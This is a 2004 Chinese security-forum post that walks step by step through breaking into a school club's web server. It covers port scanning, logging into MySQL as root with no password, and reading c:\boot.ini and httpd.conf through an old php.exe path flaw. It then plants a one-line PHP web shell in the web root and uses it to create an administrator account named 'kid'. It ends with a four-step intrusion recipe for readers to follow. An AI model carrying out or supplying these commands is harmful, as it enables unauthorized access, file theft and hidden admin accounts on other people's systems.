|
![]() | 作者: www [wish259]
![]() |
登录 |
用superscan扫了一下 某个c类的网段,寻找开放80端口的机器,结果就只有一台机器 开放了80端口,试着连了一下,是我们学校某个社团的的主页。 从端口的banner来看应该是apache(win32),证实一下 telnet 211.87.xxx.xxx get(回车) <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"> <HTML><HEAD> <TITLE>501 Method Not Implemented</TITLE> </HEAD><BODY> <H1>Method Not Implemented</H1> get to /index .html not supported.<P> Invalid method in request get<P> <HR> <ADDRESS>Apache/1.3.2 2 Server at www.xxxxxx.com Port 80</ADDRESS> </BODY></HTML> 遗失对主机的连接。 C:\> 呵呵,这下看得更清楚了 据我猜测,应该是“apache+mysql+php”的黄金组合吧 习惯性的mysql -h 211.87.xxx.xxx 果然连上了 Welcome to the MySQL monitor. Commands end with or \g. Your MySQL connection id is 17 to server version: 3.23.53-max-nt Type help; or \h for help. Type \c to clear the buffer. mysql> 断开试着 mysql -h 211.87.xxx.xxx -u root -p password: Welcome to the MySQL monitor. Commands end with or \g. Your MySQL connection id is 18 to server version: 3.23.53-max-nt Type help; or \h for help. Type \c to clear the buffer. mysql> 呵呵,大家看到了他的root用户没有密码,这是我今天要说的第一个主题。 这是相当的危险的,碰见这种情况,有99.999%的可能可以进入 既然使用的apache+php,只要找到他在本地存放的web的物理路径就为所欲为了 呵呵 下一个问题是我今天要说的重点怎么样才能知道那台主机的存放的web的物理路径? 方法有很多种,在这里我介绍2种方法供初学者参考 首先要告诉大家的是低版本的apache+php有一个漏洞 提http://xxx.xxxx.xxx.xxx/php/php.exe?对方的物理文件名 就可以把那个物理文件下载下来。 于是提http://211.87.xxx.xxx/php/php.exe?c:\a.txt 返回 No input file specified. (没有这个漏洞的话提示找不到网页) 好的,这说明他有这个漏洞。 在提http://211.87.xxx.xxx/php/php.exe?c:\boot.ini 返回 [boot loader] timeout=30 default=multi(0)disk(0)rdisk(0)partition(1)\WINDOWS [operating systems] multi(0)disk(0)rdisk(0)partition(1)\WINDOWS="Microsoft Windows XP Professional" /fastdetect 呵呵,装的还是xp。 好了,我们可以猜测对方apache的conf文件的物理位置了 http://211.87.xxx.xxx/php/php.exe?c:\apache\conf\httpd.conf No input file specified. http://211.87.xxx.xxx/php/php.exe?d:\apache\conf\httpd.conf No input file specified. http://211.87.xxx.xxx/php/php.exe?e:\apache\conf\httpd.conf No input file specified. http://211.87.xxx.xxx/php/php.exe?c:\Program Files\apache\conf\httpd.conf No input file specified. http://211.87.xxx.xxx/php/php.exe?f:\apache\conf\httpd.conf 猜到了,返回了好多东西 找到我们想要的 # DocumentRoot: The directory out of which you will serve your # documents. By default, all requests are taken from this directory, but # symbolic links and aliases may be used to point to other locations. # DocumentRoot "D:\homepage" 看得出来对方的主目录是D:\homepage 下面的事就好办了,现在就想得到shell? 先别急,我们先来看看另一种方法 那就是利用mysql的错误 随便的浏览一下他的网页找到一处利用mysql的地方 http://211.87.xxx.xxx/skonline/study/list.php?id=14 长得太帅了,哈哈哈哈 提交 http://211.87.xxx.xxx/skonline/study/list.php?id=14 返回 Warning: Supplied argument is not a valid MySQL result resource in d:\homepage\skonline\study\list.php on line 231 呵呵,一览无余。 然后,然后就是制造我们的shell mysql -h 211.87.xxx.xxx -u root -p password: Welcome to the MySQL monitor. Commands end with or \g. Your MySQL connection id is 18 to server version: 3.23.53-max-nt Type help; or \h for help. Type \c to clear the buffer. mysql> use test; Database changed mysql> create table t(cmd text); Query OK, 0 rows affected (0.08 sec) mysql> insert into t values(<?system($c);?>); Query OK, 1 row affected (12.52 sec) mysql> select * from t into d:\\homepage\\test.php; 我的shell很简单<?system($c);?>,不到20个字符,但他已经足够了 可以让我执行任意命令,由此足以看出php的强大。 怎么用? 提交 http://211.87.xxx.xxx/test.php?c=net ;user kid /add 命令成功完成 http://211.87.xxx.xxx/test.php?c=net ;localgroup administrators kid /add 命令成功完成 呵呵,测试成功,通过! 剩下的就是你自由发挥了。 由此我们不难总结出这一类的入侵步骤: 1,找到没有密码的3306端口 2,找到对方的web物理路径 3,制造shell 4,后续工作 |
地主 发表时间: 04-06-29 13:02 |
![]() | 回复: lijingxi [lijingxi] ![]() |
登录 |
看了! 不错 最近没时间实验!哎! |
B1层 发表时间: 04-06-29 18:45 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号